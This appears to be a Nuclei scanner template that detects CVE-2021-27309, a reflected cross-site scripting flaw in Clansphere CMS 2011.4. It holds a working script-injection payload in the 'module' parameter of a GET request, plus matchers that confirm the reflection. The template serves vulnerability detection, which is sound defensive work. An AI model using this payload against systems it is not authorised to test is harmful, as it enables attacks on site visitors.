nuclei-templates/http/cves/2021/CVE-2021-27309.yaml

50 lines
1.5 KiB
YAML

id: CVE-2021-27309
info:
name: Clansphere CMS 2011.4 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.
remediation: |
Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
reference:
- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
- https://nvd.nist.gov/vuln/detail/CVE-2021-27309
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-27309
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.40466
cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: csphere
product: clansphere
tags: cve,cve2021,clansphere,xss,cms,unauth
http:
- method: GET
path:
- "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"></script><script>alert(document.domain)</script>.php'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200